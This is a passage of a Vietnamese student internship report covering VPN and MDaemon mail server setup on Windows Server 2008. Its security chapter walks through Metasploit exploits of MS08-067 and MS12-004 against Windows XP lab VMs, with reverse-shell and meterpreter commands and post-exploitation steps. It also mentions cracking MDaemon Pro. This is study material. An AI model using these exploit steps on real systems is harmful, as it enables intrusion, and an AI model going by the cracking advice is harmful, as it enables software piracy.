  • 77. SVTH: Nguyễn Trọng Sáng Page 76 Check connect using vitual private networking (VPN) ->next Check chọn point to point -> next
  • 78. SVTH: Nguyễn Trọng Sáng Page 77 Nhập địa chỉ ip card CROSS của máy server2 -> next Check chọn route ip + adda user account
  • 79. SVTH: Nguyễn Trọng Sáng Page 78 Add static route 172.16.2.0 (đường mạng LAN của máy server2) -> next Nhập password của user saigon mình đã tạo ban đầu -> next
  • 80. SVTH: Nguyễn Trọng Sáng Page 79 Nhập user name :hanoi Password của user hanoi mình đã tạo ban đầu -> next Chọn properties server
  • 81. SVTH: Nguyễn Trọng Sáng Page 80 Chọn tab IPv4 và add vào chuỗi địa chỉ ip sẽ nhận khi connect vào Apply + OK
  • 82. SVTH: Nguyễn Trọng Sáng Page 81 Properties network interface saigon vừa tạo Chọn tab L2Tp ipsec VPN và nhập key
  • 83. SVTH: Nguyễn Trọng Sáng Page 82 Properties server chọn tab security -> check chọn allow custom IP sec policy for L2TP connection -> Apply -> OK Click phải network interface saigon ở server1 -> chọn connect Click phải network interface hanoi ở server2 -> chọn connect
  • 84. SVTH: Nguyễn Trọng Sáng Page 83 Xem kết quả connected rồi qua máy client 1 ping máy client 2 và ngược lại để xem kết quả Kiểm tra. Lúc này từ PC1 sẻ ping thông qua PC4.
  • 85. SVTH: Nguyễn Trọng Sáng Page 84 5. DỊCH VỤ MAIL SERVER MDaemon Cấu hình MDmoon v10. Đăng ký Domain Ta truy cập vào dot.tk để đăng ký domain Click “Đăng nhập vào My Dot” để tùy chỉnh các thông số cho domain Cuối cùng là Save Changes. Mail Server Mdaemon Định Nghĩa: Mail Server là một máy chủ cung cấp dịch vụ viết gửi và nhận thư trên internet. Để tạo 1 mail server thì có nhiều phần mềm , nhưng nổi tiếng nhất đó là Mdaemon. Các bước chuẩn bị: 1VPS làm Mail Server
  • 86. SVTH: Nguyễn Trọng Sáng Page 85 Phần mềm Mdaemon bản pro 1 Domain đã add record (MX record). Tiến hành: Trên máy VPS ta cài Mdaemon và crack thành bản pro (vì bản pro mới cho phép gởi và nhận mail từ các dịch vụ mail khác, con bản free chỉ cho gửi mail nội bộ) Cách cài Mdaemon Pro: Ta chạy file setup MDv10.exe Đợi quá trình cài đặt hoàn tất Điền domain (mà ta đã đang ký ở dot.tk lúc nãy vào) Domain name
  • 87. SVTH: Nguyễn Trọng Sáng Page 86 Điền vào tên và địa chỉ mail cũng như mật khẩu cho tài khoảng admin Điền vào IP của VPS :
  • 88. SVTH: Nguyễn Trọng Sáng Page 87 Click Next Ta khỏi động Mdaemon lên rồi tạo User mail Ta vào Account>>New Account để tạo users
  • 89. SVTH: Nguyễn Trọng Sáng Page 88 Ta tạo User :
  • 90. SVTH: Nguyễn Trọng Sáng Page 89 Đăng nhập vào tài khoản Gửi mail đến Gmail để kiểm tra
  • 91. SVTH: Nguyễn Trọng Sáng Page 90 Đăng nhập vào Gmail kiểm tra Đăng nhập vào mail nội bộ và nhận mail Kết thúc mail mdeamon
  • 92. SVTH: Nguyễn Trọng Sáng Page 91 CHƯƠNG 6: BẢO MẬT WINDOWS. 1. Khai thác lỗ hổng trên Windows XP với mã lỗi MS08_067 Chuẩn bị 2 máy ảo: Windows XP (nạn nhân) và máy Back Track 5r3 (máy tấn công nạn nhân) Trên máy Back Track cấu hình địa chỉ IP trong bài lab này cho máy là: 192.168.154.128 Các bước thực hiện: Kiểm tra mạng giữa XP và máy Back Track 5r3: Máy Back Track 5r3: Máy Xp:
  • 93. SVTH: Nguyễn Trọng Sáng Page 92 Kiểm tra thông mạng: Trên máy Back track 5r3 ta gõ đường dẫn: cd /pentest/exploits/framework
  • 94. SVTH: Nguyễn Trọng Sáng Page 93 Ta tiếp tục gõ lệnh: ./msfcli windows/smb/ms08_067_netapi RHOST=192.168.154.129 LHOST=192.168.154.128 PAYLOAD=windows/shell/reverse_tcp Trong đó RHOST là IP máy Xp, LHOST là IP máy Back track 5r3. Sau đó, ta chờ cho máy Back track 5r3 tấn công Xp Cuối cùng ta đã tấn công được Xp, ta biết được các thông số của máy XP
  • 95. SVTH: Nguyễn Trọng Sáng Page 94 2. Khai thác lỗ hổng trên Windows XP với mã lỗi MS12_004 Máy Backtrack 5r3 có IP là 192.168.1.2, máy xp có IP là 192.168.1.3 Trên máy Back track vào chương trình terminal và gõ lệnh msfconsole Tìm mã lỗi bằng công cụ metaploit bằng cách gõ lệnh search ms12_004
  • 96. SVTH: Nguyễn Trọng Sáng Page 95 Sau khi seach được mã lỗi ta dùng lệnh use và copy mã lỗi đã tìm được. Dùng lệnh show options để biết thêm các câu lệnh cần thiết.
  • 97. SVTH: Nguyễn Trọng Sáng Page 96 Dùng lệnh SRVHOST <địa chỉ ip máy backtrack> Dùng lệnh set PAYLOAD windows/meterpreter/preverse_tcp Dùng lệnh set LHOST <ip backtrack>
  • 98. SVTH: Nguyễn Trọng Sáng Page 97 Dùng lệnh exploit để tiến hành khai thác lỗi. Chú ý đường dẫn http://192.168.1.2:8080/nếu máy nạn nhân vào đường dẫn này sẽ bị hack. Trở lại máy Windows XP. Kiểm tra địa chỉ IP máy XP. Với địa chỉ ip máy XP là 192.168.1.3 Trên máy XP ta vào trình duyệt web và gõ đường dẫnhttp://192.168.1.2:8080/
  • 99. SVTH: Nguyễn Trọng Sáng Page 98 Trên máy Back Track bắt đầu nhận thấy có sự kết nối đến địa chỉ Và nhận thấy có địa chỉ kết nối vào. Và tạo phiên kết nối vào nó. Trên máy back track ta gõ lệnh sessions để kiểm tra.
  • 100. SVTH: Nguyễn Trọng Sáng Page 99 Dùng lệnh sessions –i 1 Xem trước thông tin XP:
  • 101. SVTH: Nguyễn Trọng Sáng Page 100
  • 102. SVTH: Nguyễn Trọng Sáng Page 101 Trên máy backtrack gõ getuid để biết thông tin máy Xp, và tài khoản đang truy cập. Gõ sysinfo để biết thông tin chi tiết máy Xp: Gõ lệnh shell để vào ổ đĩa máy XP: Giờ thì ta có thể xem được các file trong ổ đĩa của máy XP.
  • 103. SVTH: Nguyễn Trọng Sáng Page 102 1. KẾT LUẬN Các kết quả đạt được: Sau khi tìm hiểu và triển khai các dịch vụ trên máy ảo VMWare và VPS em đã có kiến thức về: - Nguyên lý cơ bản của hệ điều hành mạng, kiến thức về hệ thống mạng, có kỹ năng cần thiết để cài đặt, cấu hình hoàn chỉnh mạng doanh nghiệp cỡ vừa và lớn dựa vào Windows Server 2008. - Hiểu về cấu trúc hạ tầng, thiết kế và quản trị hệ thống mạng, nhiệm vụ quản lý bao gồm việc điều hành và hỗ trợ hệ thống. - Triển khai, thiết kế, quản lý và chuẩn đoán hỏng hóc cho một hệ thống mạng. - Có các kiến thức trên nền tảng công nghệ Windows Server 2008. Kinh nghiệm thực tế - Có cái nhìn thực tế về việc cấu hình, quản lý một hệ thống mạng của một doanh nghiệp thông qua nền tảng. - Được trực tiếp tiếp xúc những công nghệ và thiết bị mà trước đây chỉ biết đến thông qua sách vở. - Được vận dụng những kiến thức tiếp thu trên lớp vào công việc thực tế. - Bổ sung và trau dồi những thiếu sót về kiến thức trong quá trình học trên lớp. - Trực tiếp triển khai và cấu hình trên máy chủ ảo VPS. - Có kinh nghiệm trong việc khắc phục sự cố khi hệ thống gặp lỗi. Hoàn thiện bản thân - Các thành viên trong nhóm đã định hướng rõ ràng mục tiêu sắp tới sẽ làm. - Tự tin hơn trong việc giao tiếp với mọi người trong công việc. - Nâng cao khả năng làm việc nhóm cũng như khả năng tự bản thân giải quyết vấn đề khó khăn gặp phải trong công việc.
  • 104. SVTH: Nguyễn Trọng Sáng Page 103 Các kiến thức được lĩnh hội - Kiến thức thực tế về hệ thống mạng của doanh nghiệp. - Hiểu các thành phần công nghệ mạng doanh nghiệp vừa và nhỏ. Kết luận. Nhìn chung các công việc em đã cơ bản hoàn thành, tuy nhiên sẽ còn nhiều thiếu sót, đa phần là quá trình tự học. Vì thế mong Thầy cô, các bạn đánh giá và đưa ra những ý kiến đóng góp để khắc phục và sửa chữa. Bên cạnh trình độ chuyên môn cũng cần có những kỹ năng mềm như kỹ năng giao tiếp, làm việc nhóm cũng hết sức quan trọng. Thực tập là giai đoạn quan trọng của sinh viên, giúp sinh viên có cơ hội làm việc thực tế nhằm củng cố kĩ năng, chuẩn bị cho giai đoạn làm việc thật sau khi tốt nghiệp. Trong quá trình thực tập tại Trung tâm ATHENA, nhóm chúng em được tiếp xúc với một môi trường làm việc chuyên nghiệp, các công nghệ, thiết bị,các mô hình thực tế... Qua đó nhóm học hỏi được những kinh nghiệm nhất định và có những suy nghĩ đóng góp sau:  Về công việc: Để thiết kế và triển khai một hệ thống mạng cho một công ty, cần có nhiều bộ phận phối hợp với nhau để thực hiện và hoàn thành dự án.  Về phát triển kỹ năng:Để các bộ phận có thể phối hợp tốt mỗi nhân viên cần có những kỹ năng cơ bản để làm việc trong đội, nhóm: oLàm việc nhóm: Kỹ năng làm việc nhóm là khả năng làm việc hiệu quả trong đội ngũ. Đó là việc có thể sử dụng đúng người để có được kết quả tốt nhất và luôn sẵn sàng để có thể lãnh đạo hoặc phối hợp làm theo. oTìm hiểu – thu thập thông tin: Quản lý thông tin là khả năng biết được nơi để có được thông tin cần thiết - để tìm kiếm, định vị, và thu thập nó. Điều này có thể liên quan đến việc sử dụng các nguồn lực khác nhau, cho dù chúng là từ những con người hoặc từ các tài liệu trong thế giới rộng lớn của công nghệ oKỹ năng giải quyết vấn đề - Tính linh hoạt : Tính linh hoạt là khả năng thích nghi để giải quyết công việc chúng ta gặp phải hàng ngày trong công việc lẫn
  • 105. SVTH: Nguyễn Trọng Sáng Page 104 đời sống riêng. Giải quyết vấn đề là xác định vấn đề, nghiên cứu giải pháp và đưa ra những quyết định hiệu quả.  Về công nghệ: với lợi thế là công ty hoạt động trong lĩnh vực công nghệ thông tin, ATHENA có hạ tầng CNTT hiện đại ,an toàn và thông suốt . Danh sách các file upload trên youtube Cài đặt Windows server 2008 https://www.youtube.com/watch?v=qS_wwBTz8DA&index=1&list=PLnZWvckm7DWl lJUJk5ohubTsYIM_m1gmi Cấu hình DHCP https://www.youtube.com/watch?v=GGbl- 6YU7rI&list=PLnZWvckm7DWllJUJk5ohubTsYIM_m1gmi&index=2 Cấu hình DNS https://www.youtube.com/watch?v=6pTQjSCwpTs&list=PLnZWvckm7DWllJUJk5ohub TsYIM_m1gmi&index=3 Cấu hình VPN https://www.youtube.com/watch?v=QJc8LJCkPG8&list=PLnZWvckm7DWllJUJk5ohub TsYIM_m1gmi&index=6 Cấu hình IIS https://www.youtube.com/watch?v=uLgB66XMEWU&list=PLnZWvckm7DWllJUJk5oh ubTsYIM_m1gmi&index=4 Dịch vụ mail trên VPS https://www.youtube.com/watch?v=rLZkFZgP_cI&list=PLnZWvckm7DWllJUJk5ohubT sYIM_m1gmi&index=7 DOMAIN https://www.youtube.com/watch?v=rZaCYgEMkLA&list=PLnZWvckm7DWllJUJk5o hubTsYIM_m1gmi&index=5
  • 106. SVTH: Nguyễn Trọng Sáng Page 105